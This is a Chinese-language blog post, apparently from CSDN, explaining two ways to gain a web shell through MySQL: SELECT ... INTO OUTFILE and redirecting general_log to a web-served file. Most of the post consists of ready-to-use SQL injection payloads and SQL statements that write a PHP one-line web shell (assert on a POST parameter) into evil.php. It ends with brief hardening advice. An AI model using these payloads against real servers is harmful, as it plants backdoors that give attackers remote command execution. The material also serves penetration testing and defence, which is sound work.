版权声明: https://blog.csdn.net/ShadowySpirits/article/details/82932995
本文介绍两种利用 MySQL getshell 的方法:
- select … into outfile
- general_log
一、select … into outfile 介绍
利用需要满足以下条件:
- 对web目录有写权限
- GPC关闭(能使用单引号)
- 有绝对路径(读文件可以不用,写文件必须)
- 没有配置 –secure-file-priv
姿势:
- 有 union
id=2) union select 1,2,3,4,5,6,7,'<?php assert($_POST["cmd"]);?>’ into outfile ‘/home/wwwroot/shadowyspirits/evil.php’%23
- 无 union
id=2) into outfile ‘/home/wwwroot/shadowyspirits/evil.php’ fields terminated by ‘<?php assert($_POST["cmd"]);?>’%23
其中 fields terminated by 是用来指定列之间分隔符,如果查询结果为单列则不会插入分隔符,所以必须有多个列才能成功写入一句话
二、general_log 介绍
利用需要满足以下条件:
- 对web目录有写权限
- GPC关闭(能使用单引号)
- 有绝对路径(读文件可以不用,写文件必须)
- 需要能执行多行sql语句
姿势:
set global general_log='on';
SET global general_log_file='/home/wwwroot/shadowyspirits/evil.php';
SELECT '<?php assert($_POST["cmd"]);?>';
设置了 general_log 和 general_log_file 之后所有SQL记录都会写入指定的文件,所以会导致 log 文件非常大,推荐只暂时打开
需要注意的是 secure_file_priv 是只读属性,如果试图使用 set global 修改会报如下 Error
Error Code: 1238. Variable 'secure_file_priv' is a read only
三、防御姿势
- 设置 secure_file_prive = null (不允许导入和导出)
- 防止暴露网站绝对路径
- 正确设置 web 目录权限,除 log、upload 等目录外不授予写权限,upload 目录不授予执行权限